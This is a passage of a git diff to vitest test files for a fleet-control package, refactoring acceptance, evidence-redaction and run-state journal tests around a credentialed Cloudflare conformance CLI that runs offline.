a/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts @@ -1,67 +1,63 @@ // SPDX-License-Identifier: Apache-2.0 -import { spawn } from 'node:child_process'; import { existsSync } from 'node:fs'; import { readdir, readFile, stat, unlink, writeFile } from 'node:fs/promises'; -import { join } from 'node:path'; +import { dirname, join } from 'node:path'; import { fileURLToPath } from 'node:url'; import { afterEach, beforeAll, describe, expect, it } from 'vitest'; -import type { runDirectConformance } from '../scripts/direct-credentialed-conformance-runtime.mjs'; +import { + DIRECT_CONFORMANCE_EXIT_CODES, + type runDirectConformance, +} from '../scripts/direct-credentialed-conformance-runtime.mjs'; import { DIRECT_EVIDENCE_LITERALS, - scanDirectEvidence, + inspectDirectEvidence, } from '../scripts/direct-credentialed-evidence.mjs'; +import { REFERENCE_SECRET_NAMES } from '../scripts/direct-credentialed-reference-vocabulary.mjs'; import { DIRECT_RESIDUAL_SURFACES, openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; +import { + directBridgePreamble, + directModuleUrl, + spawnDirectChild, +} from './fixtures/direct-cli-child.js'; import { directObservationFixture } from './fixtures/direct-observations.js'; import { createDirectReferenceHarness } from './fixtures/direct-reference-harness.js'; +import { + cleanupDirectRunState, + fixture as directRunStateFixture, +} from './fixtures/direct-run-state-builder.js'; const cleanup: Array<() => Promise> = []; const apiToken = 'inert-provider-token'; const invokeSecret = 'inert-invoke'; -const moduleUrl = (name: string) => - new URL(`../scripts/${name}.mjs`, import.meta.url).href; +const SUITE_TIMEOUT_MS = 900_000; +// The child is killed a minute before the suite times out, so a hung run is +// reported with the child's own output rather than as a suite timeout. +const CHILD_TIMEOUT_MS = SUITE_TIMEOUT_MS - 60_000; +const REFERENCE_REQUEST_TIMEOUT_MS = 30_000; +const INVOCATION_TIMEOUT_MS = 600_000; +const PROVIDER_REQUEST_BUDGET = 1000; afterEach(async () => { for (const close of cleanup.splice(0).reverse()) await close(); + await cleanupDirectRunState(); }); -async function childProcess(args: string[], env: NodeJS.ProcessEnv = {}) { - const child = spawn(process.execPath, args, { - env: { PATH: process.env.PATH, ...env }, - stdio: ['ignore', 'pipe', 'pipe'], - }); - let stdout = ''; - let stderr = ''; - child.stdout.on('data', (chunk) => { - stdout += String(chunk); - }); - child.stderr.on('data', (chunk) => { - stderr += String(chunk); - }); - const status = await new Promise((resolve, reject) => { - const timer = setTimeout(() => { - child.kill('SIGKILL'); - }, 840_000); - child.once('error', (error) => { - clearTimeout(timer); - reject(error); - }); - child.once('close', (code) => { - clearTimeout(timer); - resolve(code); - }); - }); - return { status, stdout, stderr }; -} +const childProcess = (args: string[], env: NodeJS.ProcessEnv = {}) => + spawnDirectChild(args, { env, timeoutMs: CHILD_TIMEOUT_MS }); async function fixture() { - const local = await directObservationFixture(30_000, 'confirmed', { - invocationTimeoutMs: 600_000, - maxProviderRequests: 1000, - }); + const local = await directObservationFixture( + REFERENCE_REQUEST_TIMEOUT_MS, + 'confirmed', + { + invocationTimeoutMs: INVOCATION_TIMEOUT_MS, + maxProviderRequests: PROVIDER_REQUEST_BUDGET, + }, + ); cleanup.push(() => local.close()); const native = await createDirectReferenceHarness({ manifest: local.prepared.manifest, @@ -91,13 +87,17 @@ async function fixture() { id: 'zone', name: local.prepared.config.ownedHostname, }); - for (const receipt of [bootstrap.fleet, bootstrap.quota]) + const exportedDatabases = [bootstrap.fleet, bootstrap.quota]; + for (const receipt of exportedDatabases) native.world.seedDatabase(receipt.name, { databaseId: receipt.uuid }); - native.buckets.set(`default:${bootstrap.exports.name}`, { - name: bootstrap.exports.name, - jurisdiction: bootstrap.exports.jurisdiction, - creation_date: bootstrap.exports.creationDate, - }); + native.buckets.set( + `${bootstrap.exports.jurisdiction}:${bootstrap.exports.name}`, + { + name: bootstrap.exports.name, + jurisdiction: bootstrap.exports.jurisdiction, + creation_date: bootstrap.exports.creationDate, + }, + ); const bindings = [ { name: 'FLEET_DB', type: 'd1', database_id: bootstrap.fleet.uuid }, { name: 'QUOTA_DB', type: 'd1', database_id: bootstrap.quota.uuid }, @@ -107,11 +107,7 @@ async function fixture() { type: 'plain_text', text: JSON.stringify(native.binding), }, - ...[ - 'CLOUDFLARE_API_TOKEN', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', - 'DIRECT_DEPLOYMENT_SECRETS', - ].map((name) => ({ name, type: 'secret_text' })), + ...REFERENCE_SECRET_NAMES.map((name) => ({ name, type: 'secret_text' })), ]; native.world.seedScript(local.prepared.names.referenceWorker, { versions: [ @@ -137,7 +133,14 @@ async function fixture() { }, }); await local.journal.close(); - return { local, native }; + return { + local, + native, + exportedDatabaseCount: exportedDatabases.length, + seededSecretCount: bindings.filter( + (binding) => binding.type === 'secret_text', + ).length, + }; } async function drive( @@ -148,25 +151,26 @@ async function drive( await writeFile( script, ` -import { runDirectConformance } from ${JSON.stringify(moduleUrl('direct-credentialed-conformance-runtime'))}; -const originalFetch = globalThis.fetch; -let requests = 0; -const fetch = async (input, init) => { - const request = new Request(input, init); - const url = new URL(request.url); - if (url.origin !== 'https://api.cloudflare.com' && url.origin !== ${JSON.stringify(`https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`)}) - throw new Error('unexpected child origin'); - requests += 1; - const headers = new Headers(request.headers); - headers.set('X-Direct-Fixture-Url', request.url); - return originalFetch(${JSON.stringify(f.native.bridgeUrl)}, { method: request.method, headers, body: request.body, signal: request.signal, redirect: 'manual', duplex: 'half' }); +import { runDirectConformance } from ${JSON.stringify(directModuleUrl('direct-credentialed-conformance-runtime'))}; +${directBridgePreamble({ + bridgeUrl: f.native.bridgeUrl, + workerOrigin: `https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`, + countRequests: true, +})}const refusals = { + origin: await fetch('https://forbidden.test/probe').then( + () => null, + (error) => error.message, + ), + closed: await globalThis.fetch('https://api.cloudflare.com/probe').then( + () => null, + (error) => error.message, + ), }; -globalThis.fetch = async () => { throw new Error('unexpected child network'); }; const result = await runDirectConformance({ mode: ${JSON.stringify(mode)}, configPath: ${JSON.stringify(f.local.configPath)}, env: { CLOUDFLARE_ACCOUNT_ID: 'account', CLOUDFLARE_API_TOKEN: ${JSON.stringify(apiToken)}, FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: ${JSON.stringify(invokeSecret)} }, fetch, }); -console.log('CLI_RESULT ' + JSON.stringify({ result, requests })); +console.log('CLI_RESULT ' + JSON.stringify({ result, requests, refusals })); process.exitCode = result.exitCode; `, ); @@ -179,13 +183,18 @@ process.exitCode = result.exitCode; const parsed = JSON.parse(lines[0]?.slice('CLI_RESULT '.length) ?? '') as { result: Awaited>; requests: number; + refusals: Record; }; - expect(child.status).toBe(parsed.result.exitCode); + expect(parsed.refusals).toEqual({ + origin: 'unexpected child origin', + closed: 'unexpected child network', + }); + expect(Object.values(DIRECT_CONFORMANCE_EXIT_CODES)).toContain(child.status); return { ...parsed, status: child.status }; } describe.sequential('direct credentialed CLI native offline acceptance', { - timeout: 900_000, + timeout: SUITE_TIMEOUT_MS, }, () => { beforeAll(() => { expect( @@ -196,41 +205,34 @@ describe.sequential('direct credentialed CLI native offline acceptance', { it('revalidates, restarts, cleans, rereads evidence, and refuses existing runs and concurrent resumes', async () => { const f = await fixture(); - const directory = join( - f.local.directory, - '.direct-conformance', - f.local.prepared.config.resourcePrefix, - ); - const evidencePath = join(directory, 'evidence.json'); - const evidence = async () => - JSON.parse(await readFile(evidencePath, 'utf8')); - const first = await drive(f, 'resume'); - expect( - first.result, + const diagnostic = (step: Awaited>) => JSON.stringify({ bridgeErrors: f.native.bridgeErrors, requests: f.native.projection.requests .slice(-12) .map(({ method, url }) => ({ method, url })), - result: first.result.summary, - }), - ).toMatchObject({ exitCode: 3 }); + result: step.result.summary, + }); + const sentinels = { + secrets: [apiToken, invokeSecret], + literals: DIRECT_EVIDENCE_LITERALS, + }; + const first = await drive(f, 'resume'); + expect(first.result, diagnostic(first)).toMatchObject({ exitCode: 3 }); + // The run reports where it published; the layout is the runtime's, not a + // second derivation here. + const evidencePath = first.result.evidencePath as string; + const directory = dirname(evidencePath); + const evidence = async () => + JSON.parse(await readFile(evidencePath, 'utf8')); const interrupted = await evidence(); expect(interrupted).toMatchObject({ status: 'restart-required', resumeCount: 1, }); const second = await drive(f, 'resume'); - expect( - second.result, - JSON.stringify({ - bridgeErrors: f.native.bridgeErrors, - requests: f.native.projection.requests - .slice(-12) - .map(({ method, url }) => ({ method, url })), - result: second.result.summary, - }), - ).toMatchObject({ exitCode: 0 }); + expect(second.result, diagnostic(second)).toMatchObject({ exitCode: 0 }); + expect(second.result.evidencePath).toBe(evidencePath); const cleaned = await evidence(); expect(cleaned).toMatchObject({ status: 'cleaned', @@ -238,26 +240,16 @@ describe.sequential('direct credentialed CLI native offline acceptance', { teardownCall: { status: 'cleaned' }, teardown: { phase: 'complete', failure: null }, }); - expect(Object.keys(cleaned.teardown.receipts).sort()).toEqual( - [ - 'ingress', - 'worker', - 'fleet', - 'quota', - 'exports', - 'exportObjects', - ].sort(), - ); for (const key of ['ingress', 'fleet', 'quota', 'exports']) expect(cleaned.teardown.receipts[key]).toMatchObject({ settledByReread: false, }); expect(cleaned.teardown.receipts.worker).toMatchObject({ settledByReread: false, - secretNameCount: 3, + secretNameCount: f.seededSecretCount, }); expect(cleaned.teardown.receipts.exportObjects).toMatchObject({ - count: 2, + count: f.exportedDatabaseCount, settledByReread: 0, }); const residual = cleaned.teardown.residual; @@ -290,14 +282,11 @@ describe.sequential('direct credentialed CLI native offline acceptance', { expect(await readdir(directory)).not.toEqual( expect.arrayContaining([expect.stringMatching(/\.tmp$/u)]), ); - expect( - scanDirectEvidence(cleaned, { - secrets: [apiToken, invokeSecret], - literals: DIRECT_EVIDENCE_LITERALS, - }), - ).toBeNull(); + for (const document of [interrupted, cleaned]) + expect(inspectDirectEvidence(document, sentinels).hit).toBeNull(); const third = await drive(f, 'resume'); expect(third).toMatchObject({ status: 0, requests: 0 }); + expect(third.result.evidencePath).toBe(evidencePath); const reread = await evidence(); expect(reread).toMatchObject({ resumeCount: 3, teardownCall: null }); const mask = new Set([ @@ -312,12 +301,14 @@ describe.sequential('direct credentialed CLI native offline acceptance', { Object.fromEntries( Object.entries(value).filter(([key]) => !mask.has(key)), ); - for (const document of [cleaned, reread]) + for (const document of [cleaned, reread]) { expect(document).toMatchObject({ mode: 'resume', exitCode: 0, status: 'cleaned', }); + expect(inspectDirectEvidence(document, sentinels).hit).toBeNull(); + } expect(durable(reread)).toEqual(durable(cleaned)); await unlink(evidencePath); const journalPath = join(directory, 'journal.json'); @@ -356,30 +347,49 @@ describe.sequential('direct credentialed CLI native offline acceptance', { } expect(f.native.bridgeErrors).toEqual([]); process.stdout.write( - `CLI_ACCEPTANCE ${JSON.stringify({ exits: [first.status, second.status, third.status, fourth.status, fifth.status], statuses: [interrupted.status, cleaned.status, reread.status, null, null], resumeCounts: [interrupted.resumeCount, cleaned.resumeCount, reread.resumeCount], residual, retainedIdentities: cleaned.retainedIdentities, evidenceOnlyEqual: true, teardownCall: reread.teardownCall, refusalEvidenceAbsent: true })}\n`, + `CLI_ACCEPTANCE ${JSON.stringify({ exits: [first.status, second.status, third.status, fourth.status, fifth.status], statuses: [interrupted.status, cleaned.status, reread.status], resumeCounts: [interrupted.resumeCount, cleaned.resumeCount, reread.resumeCount], residual, retainedIdentities: cleaned.retainedIdentities, teardownCall: reread.teardownCall })}\n`, ); }); it('runs the real entry for preflight and help and pins both workspace scripts', async () => { - const local = await directObservationFixture(); - cleanup.push(() => local.close()); + const local = await directRunStateFixture(); const entry = fileURLToPath( new URL( '../scripts/direct-credentialed-conformance.mjs', import.meta.url, ), ); - const preflight = await childProcess([entry, '--preflight'], { - FLEET_DIRECT_CONFORMANCE_CONFIG: local.configPath, - }); + const attemptsPath = join(local.directory, 'network-attempts.json'); + const guard = join(local.directory, 'network-guard.mjs'); + await writeFile( + guard, + `import { writeFileSync } from 'node:fs'; +const attempts = []; +globalThis.fetch = async (input) => { + attempts.push(new Request(input).url); + throw new Error('unexpected entry network'); +}; +process.on('exit', () => writeFileSync(${JSON.stringify(attemptsPath)}, JSON.stringify(attempts))); +`, + ); + const attempts = async () => + JSON.parse(await readFile(attemptsPath, 'utf8')) as string[]; + const preflight = await childProcess( + ['--import', guard, entry, '--preflight'], + { + FLEET_DIRECT_CONFORMANCE_CONFIG: local.configPath, + }, + ); expect(preflight.status).toBe(0); expect(preflight.stderr).toBe(''); expect(preflight.stdout.trim().split('\n')).toHaveLength(1); expect(preflight.stdout).toMatch(/^DIRECT_CONFORMANCE /u); - const help = await childProcess([entry, '--help']); + expect(await attempts()).toEqual([]); + const help = await childProcess(['--import', guard, entry, '--help']); expect(help.status).toBe(0); expect(help.stderr).toBe(''); expect(help.stdout).toContain('--resume'); + expect(await attempts()).toEqual([]); const manifest = JSON.parse( await readFile(new URL('../package.json', import.meta.url), 'utf8'), ); diff --git a/packages/fleet-control/test/direct-credentialed-evidence.test.ts b/packages/fleet-control/test/direct-credentialed-evidence.test.ts index 1537763b..61a013a8 100644 --- a/packages/fleet-control/test/direct-credentialed-evidence.test.ts +++ b/packages/fleet-control/test/direct-credentialed-evidence.test.ts @@ -1,13 +1,15 @@ // SPDX-License-Identifier: Apache-2.0 -import { readdir, readFile, stat, writeFile } from 'node:fs/promises'; +import { chmod, readdir, readFile, stat, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { buildDirectEvidence, + DIRECT_CONFORMANCE_COMMANDS, + DIRECT_EVIDENCE_IDENTITY_PATHS, + DIRECT_EVIDENCE_KEYS, DIRECT_EVIDENCE_LITERALS, inspectDirectEvidence, - scanDirectEvidence, writeDirectEvidence, } from '../scripts/direct-credentialed-evidence.mjs'; import { DIRECT_RESIDUAL_SURFACES } from '../scripts/direct-credentialed-run-state.mjs'; @@ -59,6 +61,19 @@ const object = (value: unknown): Record => { }; const keys = (value: unknown, expected: readonly string[]) => expect(Object.keys(object(value))).toEqual(expected); +// The publication path inspects; a test that only wants the verdict reads the +// same inspection's `hit`. +const inspected = ( + evidence: object, + sentinels: { secrets: readonly string[]; literals: readonly string[] }, +) => inspectDirectEvidence(evidence, sentinels).hit; +const leafAt = (document: unknown, keyPath: string) => + keyPath + .split('.') + .reduce( + (value, key) => (value == null ? value : object(value)[key]), + document, + ); async function evidenceFixture() { const { f, journal } = await completeScenarioJournal(); @@ -81,8 +96,36 @@ async function evidenceFixture() { } describe.sequential('direct evidence', () => { + it('covers every projected key with the admission vocabulary', async () => { + const { evidence } = await evidenceFixture(); + const vocabulary = new Set(DIRECT_EVIDENCE_KEYS); + // Array elements are addressed by index rather than by a projected name; + // admission covers those through its digits-only rule instead. + const walk = (value: unknown, found: Set) => { + if (Array.isArray(value)) for (const child of value) walk(child, found); + else if (value && typeof value === 'object') + for (const [key, child] of Object.entries(value)) { + found.add(key); + walk(child, found); + } + return found; + }; + const projected = [...walk(evidence, new Set())]; + // A projected key outside the list is a credential collision admission + // would not have refused, so this walk is the list's completeness check. + expect(projected.filter((key) => !vocabulary.has(key))).toEqual([]); + expect(Object.isFrozen(DIRECT_EVIDENCE_KEYS)).toBe(true); + expect(new Set(DIRECT_EVIDENCE_KEYS).size).toBe( + DIRECT_EVIDENCE_KEYS.length, + ); + expect(evidence.commands).toEqual([ + DIRECT_CONFORMANCE_COMMANDS.run, + DIRECT_CONFORMANCE_COMMANDS.resume, + ]); + }); + it('pins the allowlist key set and order at every projected shape', async () => { - const { evidence, snapshot } = await evidenceFixture(); + const { evidence, f, snapshot } = await evidenceFixture(); keys(evidence, topKeys); process.stdout.write( `EVIDENCE_KEYS ${JSON.stringify(Object.keys(evidence))}\n`, @@ -105,6 +148,16 @@ describe.sequential('direct evidence', () => { 'inventories', 'terminalForce', ]); + keys(evidence.cost, [ + 'basis', + 'referenceProvider', + 'referenceMaintenance', + 'referenceApplication', + 'sdkRequests', + 'referenceInvocations', + 'teardownProvider', + 'billed', + ]); expect(evidence.cost).toEqual({ basis: 'request-counters', referenceProvider: snapshot.scenario.attempts.provider, @@ -134,6 +187,9 @@ describe.sequential('direct evidence', () => { }); } keys(scenario.terminalForce, ['a']); + const forced = object(object(scenario.terminalForce).a); + keys(forced, ['databaseId', 'scriptName', 'ordinal', 'attempts']); + keys(forced.attempts, ['provider', 'maintenance', 'application']); expect(scenario.terminalForce).toEqual( snapshot.scenario.proofs.terminalForce, ); @@ -169,6 +225,7 @@ describe.sequential('direct evidence', () => { keys(transition.before, readingKeys); keys(transition.after, readingKeys); } + keys(scenario.exports, ['a', 'b']); for (const role of ['a', 'b']) { const sweeps = object(object(fence.sweeps)[role]); keys(sweeps, ['first', 'second', 'intervalMs']); @@ -229,6 +286,24 @@ describe.sequential('direct evidence', () => { snapshot.teardown.residual?.bucketJurisdictions, ); keys(evidence.teardownCall, ['status', 'failure', 'providerRequests']); + const retained = buildDirectEvidence({ + snapshot, + prepared: f.prepared, + mode: 'resume', + outcome: { + status: 'retained', + exitCode: 4, + teardownCall: { + status: 'retained', + failure: { code: 'residual-present' }, + providerRequests: 12, + }, + }, + times: { finishedAt: '2026-09-13T00:00:00.000Z' }, + commit: 'a'.repeat(40), + }); + keys(retained.teardownCall, ['status', 'failure', 'providerRequests']); + keys(object(retained.teardownCall).failure, ['code']); keys(evidence.retainedIdentities, [ 'fleetUuid', 'quotaUuid', @@ -267,6 +342,7 @@ describe.sequential('direct evidence', () => { commit: null, }); expect(object(evidence.scenario).failure).toEqual(scenario.failure); + keys(object(evidence.scenario).failure, ['code', 'ordinal', 'detail']); expect( await writeDirectEvidence({ directory: f.runDirectory, @@ -446,23 +522,68 @@ describe.sequential('direct evidence', () => { it('refuses a credential completed by the evidence trailing newline', async () => { const { f } = await evidenceFixture(); const evidence = { version: 1 }; - const sentinels = { secrets: ['}\n'], literals: [] }; - expect(inspectDirectEvidence(evidence, sentinels)).toEqual({ - hit: { sentinelClass: 'env-secret', keyPath: '' }, + const newlineSentinels = { secrets: ['}\n'], literals: [] }; + const hit = { sentinelClass: 'env-secret', keyPath: '' }; + expect(inspectDirectEvidence(evidence, newlineSentinels)).toEqual({ + hit, serialized: '{"version":1}\n', }); expect( await writeDirectEvidence({ directory: f.runDirectory, evidence, - sentinels, + sentinels: newlineSentinels, + }), + ).toEqual({ written: false, ...hit }); + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + }); + + it('reports the empty path for a credential no member span carries', async () => { + const separated = { version: 1, mode: 'run' }; + // The sentinel spans the comma between two members, so it belongs to the + // document's structure and to no member of it. + expect( + inspectDirectEvidence(separated, { + secrets: ['1,"mode"'], + literals: [], }), ).toEqual({ - written: false, - sentinelClass: 'env-secret', - keyPath: '', + hit: { sentinelClass: 'env-secret', keyPath: '' }, + serialized: '{"version":1,"mode":"run"}\n', }); - expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + // A sentinel a member does carry is named by that member instead. + expect( + inspected(separated, { secrets: ['"mode":"run"'], literals: [] }), + ).toEqual({ sentinelClass: 'env-secret', keyPath: 'mode' }); + }); + + it('sweeps an abandoned staging sibling and refuses a directory that is not private', async () => { + const { f, evidence } = await evidenceFixture(); + const abandoned = join(f.runDirectory, '.evidence-abandoned.tmp'); + await writeFile(abandoned, 'interrupted\n', { mode: 0o600 }); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: true }); + expect((await readdir(f.runDirectory)).sort()).toEqual([ + 'evidence.json', + 'journal.json', + ]); + await chmod(f.runDirectory, 0o755); + try { + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: false }); + } finally { + await chmod(f.runDirectory, 0o700); + } }); it('publishes the scanned bytes including the newline observed during read-back', async () => { @@ -478,11 +599,13 @@ describe.sequential('direct evidence', () => { sentinels, readBack: async (path) => { received = await readFile(path); - expect(received).toEqual(scanned); return received; }, }), ).toEqual({ written: true }); + // The writer swallows a throw from `readBack`, so what the callback + // observed is asserted once the call has returned. + expect(received).toEqual(scanned); expect(received).toEqual(Buffer.from(`${JSON.stringify(evidence)}\n`)); expect(await readFile(join(f.runDirectory, 'evidence.json'))).toEqual( scanned, @@ -547,7 +670,7 @@ describe.sequential('direct evidence', () => { bootstrap: { toJSON: () => ({ dispatch: 'safe' }) }, }; const byteSentinels = { secrets: [], literals: ['"dispatch":'] }; - expect(scanDirectEvidence(evidence, byteSentinels)).toEqual({ + expect(inspected(evidence, byteSentinels)).toEqual({ sentinelClass: 'literal', keyPath: 'bootstrap', }); @@ -572,14 +695,14 @@ describe.sequential('direct evidence', () => { ])('refuses decoded serialization containing a %s', async (_label, secret) => { const { f } = await evidenceFixture(); const evidence = { bootstrap: { toJSON: () => secret } }; - const sentinels = { secrets: [secret], literals: [] }; + const decodedSentinels = { secrets: [secret], literals: [] }; const hit = { sentinelClass: 'env-secret', keyPath: 'bootstrap' }; - expect(scanDirectEvidence(evidence, sentinels)).toEqual(hit); + expect(inspected(evidence, decodedSentinels)).toEqual(hit); expect( await writeDirectEvidence({ directory: f.runDirectory, evidence, - sentinels, + sentinels: decodedSentinels, }), ).toEqual({ written: false, ...hit }); expect(await readdir(f.runDirectory)).toEqual(['journal.json']); @@ -590,15 +713,15 @@ describe.sequential('direct evidence', () => { const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): object }) .rawJSON; const evidence = { bootstrap: { dispatch: rawJSON('"\\u0073eed"') } }; - const sentinels = { secrets: ['seed'], literals: [] }; + const escapedSentinels = { secrets: ['seed'], literals: [] }; expect(JSON.stringify(evidence)).toContain('\\u0073'); const hit = { sentinelClass: 'env-secret', keyPath: 'bootstrap.dispatch' }; - expect(scanDirectEvidence(evidence, sentinels)).toEqual(hit); + expect(inspected(evidence, escapedSentinels)).toEqual(hit); expect( await writeDirectEvidence({ directory: f.runDirectory, evidence, - sentinels, + sentinels: escapedSentinels, }), ).toEqual({ written: false, ...hit }); expect(await readdir(f.runDirectory)).toEqual(['journal.json']); @@ -610,32 +733,83 @@ describe.sequential('direct evidence', () => { const evidence = { bootstrap: { toJSON: () => ({ [secret]: 'Bearer hidden' }) }, }; - const sentinels = { secrets: [secret], literals: DIRECT_EVIDENCE_LITERALS }; + const keySentinels = { + secrets: [secret], + literals: DIRECT_EVIDENCE_LITERALS, + }; const hit = { sentinelClass: 'env-secret', keyPath: `bootstrap.${secret}` }; - expect(scanDirectEvidence(evidence, sentinels)).toEqual(hit); + expect(inspected(evidence, keySentinels)).toEqual(hit); expect( await writeDirectEvidence({ directory: f.runDirectory, evidence, - sentinels, + sentinels: keySentinels, }), ).toEqual({ written: false, ...hit }); expect(await readdir(f.runDirectory)).toEqual(['journal.json']); }); + it('guards exactly the projection leaves the shared inventory names', async () => { + const { evidence } = await evidenceFixture(); + expect(Object.isFrozen(DIRECT_EVIDENCE_IDENTITY_PATHS)).toBe(true); + // Every guarded path resolves to a projected identity leaf, so a renamed + // or moved projection key fails here rather than leaving a guard that + // never matches again. + expect( + DIRECT_EVIDENCE_IDENTITY_PATHS.filter((keyPath) => { + const leaf = leafAt(evidence, keyPath); + return leaf !== null && typeof leaf !== 'string'; + }), + ).toEqual([]); + // Prefix-derived names are the rule's exclusions, not omissions. + for (const keyPath of [ + 'retainedIdentities.exportBucket', + 'retainedIdentities.scriptName', + 'scenario.terminalForce.a.scriptName', + ]) + expect(DIRECT_EVIDENCE_IDENTITY_PATHS).not.toContain(keyPath); + // So are the scenario paths: the journal decodes each with `scenarioId`, + // whose accepted set the identity shape contains, so a guard here could + // only refuse a record the journal already admitted. + for (const keyPath of [ + 'scenario.initial.a.versionId', + 'scenario.candidate.b.versionId', + 'scenario.final.a.versionId', + 'scenario.terminalForce.a.databaseId', + ]) { + expect(DIRECT_EVIDENCE_IDENTITY_PATHS).not.toContain(keyPath); + expect(leafAt(evidence, keyPath)).toBeTypeOf('string'); + } + }); + it.each([ - 'retainedIdentities.fleetUuid', - 'retainedIdentities.quotaUuid', - 'retainedIdentities.activeVersionId', - 'bootstrap.activeVersionId', 'scenario.initial.a.versionId', - 'scenario.initial.b.versionId', - 'scenario.initial.recovery.versionId', - 'scenario.candidate.a.versionId', - 'scenario.candidate.b.versionId', - 'scenario.final.a.versionId', 'scenario.final.b.versionId', - ])('enforces identity shape without nulling malformed proof at %s', async (keyPath) => { + 'scenario.terminalForce.a.databaseId', + ])('publishes a scenario-charset identity at %s', async (keyPath) => { + const { f, evidence } = await evidenceFixture(); + // `a:b` is outside the identity shape and inside `scenarioId`, so the + // journal admits it and the evidence boundary no longer refuses it. + const carried = JSON.parse(JSON.stringify(evidence)) as Record< + string, + unknown + >; + const keys = keyPath.split('.'); + const leaf = keys.pop() as string; + object(leafAt(carried, keys.join('.')))[leaf] = 'a:b'; + expect(inspected(carried, sentinels)).toBeNull(); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence: carried, + sentinels, + }), + ).toEqual({ written: true }); + }); + + it.each( + DIRECT_EVIDENCE_IDENTITY_PATHS, + )('enforces identity shape without nulling malformed proof at %s', async (keyPath) => { const { f } = await evidenceFixture(); for (const [value, valid] of [ [null, true], @@ -656,10 +830,8 @@ describe.sequential('direct evidence', () => { .reduceRight((child, key) => ({ [key]: child }), value), ); const before = JSON.stringify(evidence); - const hit = { sentinelClass: 'identity-shape', keyPath }; - expect(scanDirectEvidence(evidence, sentinels)).toEqual( - valid ? null : hit, - ); + const hit = { refusalClass: 'identity-shape', keyPath }; + expect(inspected(evidence, sentinels)).toEqual(valid ? null : hit); if (!valid) { expect( await writeDirectEvidence({ diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index 31bf0bd8..afe46f9a 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -22,13 +22,18 @@ import { actionSummary, DIRECT_RUN_MAX_JOURNAL_BYTES, DIRECT_RUN_MAX_RESUME_COUNT, + DIRECT_RUN_TIMESTAMP, DIRECT_SCENARIO_ARRAY_MAXIMA, + DIRECT_SCENARIO_FAILURE_DETAILS, + DIRECT_SCENARIO_FAILURES, DIRECT_SCENARIO_OPERATION_SLOTS, type DirectBootstrapMutationReceipt, type DirectRunJournal, inspectDirectRunState, + isForceIdentity, openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; +import { requireFact } from '../scripts/direct-credentialed-scenario-checks.mjs'; import type { DirectOperationSlot } from '../scripts/direct-reference-journal.js'; import { bootstrapContext, @@ -1032,6 +1037,60 @@ describeLinux('durable scenario state', () => { expect(journal.snapshot().scenario?.mutation).toEqual(call); }); + it.each([ + ['a null identity', null, true], + [ + 'both members inside the charset', + { databaseId: 'database-a', scriptName: 'script.a:1' }, + true, + ], + [ + 'the longest member the charset admits', + { databaseId: 'a'.repeat(128), scriptName: 'script-a' }, + true, + ], + [ + 'a member outside the charset', + { databaseId: 'database a', scriptName: 'script-a' }, + false, + ], + [ + 'a member past the charset length', + { databaseId: 'a'.repeat(129), scriptName: 'script-a' }, + false, + ], + [ + 'an extra identity key', + { databaseId: 'database-a', scriptName: 'script-a', extra: true }, + false, + ], + ['a missing identity key', { databaseId: 'database-a' }, false], + ['a non-string member', { databaseId: 1, scriptName: 'script-a' }, false], + ['an array', [], false], + ['a string', 'database-a', false], + ] as const)('guards the force identity the journal admits: %s', async (_title, before, admitted) => { + expect(isForceIdentity(before)).toBe(admitted); + const { journal } = await scenarioJournal(); + const state = scenarioWith((value) => { + const call: NonNullable = { + ordinal: 3, + action: { kind: 'force-terminal', role: 'a' }, + outcome: 'returned', + attempts: { provider: 0, maintenance: 0, application: 0 }, + migration: null, + }; + Object.assign(call, { before }); + value.lastCall = call; + value.mutation = call; + }); + if (!admitted) { + await refuses(journal, state); + return; + } + await journal.recordScenario(state); + expect(journal.snapshot().scenario?.mutation?.before).toEqual(before); + }); + it('projects and round-trips a drain summary with both expected counters', async () => { const action = { kind: 'tenant-fence' as const, @@ -1045,9 +1104,7 @@ describeLinux('durable scenario state', () => { const state = scenarioWith((value) => { present(value.lastCall).action = action; present(value.mutation).action = action; - delete present(value.lastCall).before; - delete present(value.mutation).before; - }); + }, 'audit-page'); await journal.recordScenario(state); await closed(journal); const resumed = await opened({ ...f.input, mode: 'resume' }); @@ -1063,7 +1120,6 @@ describeLinux('durable scenario state', () => { await refuses( journal, scenarioWith((state) => { - delete present(state.lastCall).before; present(state.lastCall).action = { kind: 'tenant-fence', role: 'a', @@ -1072,7 +1128,7 @@ describeLinux('durable scenario state', () => { expectedRevision: 2, [field]: 0.5, }; - }), + }, 'audit-page'), ); }); @@ -1390,27 +1446,48 @@ describeLinux('durable scenario state', () => { await refuses(fresh.journal, state); }); + it.each([ + ['fleet-a.example.test', true], + ['a.b', true], + // The journal admits a numeric last label; the configuration module's own + // `hostname` refuses that host, and this set is the journal's, not its. + ['route.9', true], + [`${'a'.repeat(63)}.test`, true], + ['A.example.test', false], + ['-a.example.test', false], + ['a-.example.test', false], + [`${'a'.repeat(64)}.test`, false], + ['single', false], + ['1.2', false], + ['a..b', false], + ['a.example.test.', false], + ])('admits the route hostname %s in the journal: %s', async (hostname, admitted) => { + const { journal } = await scenarioJournal(); + const state = scenarioWith((value) => { + present(value.proofs.inventories.before).routeHostnames = [hostname]; + }); + if (!admitted) { + await refuses(journal, state); + return; + } + await journal.recordScenario(state); + expect( + journal.snapshot().scenario?.proofs.inventories.before?.routeHostnames, + ).toEqual([hostname]); + }); + it('publishes a maximal scenario inside the journal byte bound', async () => 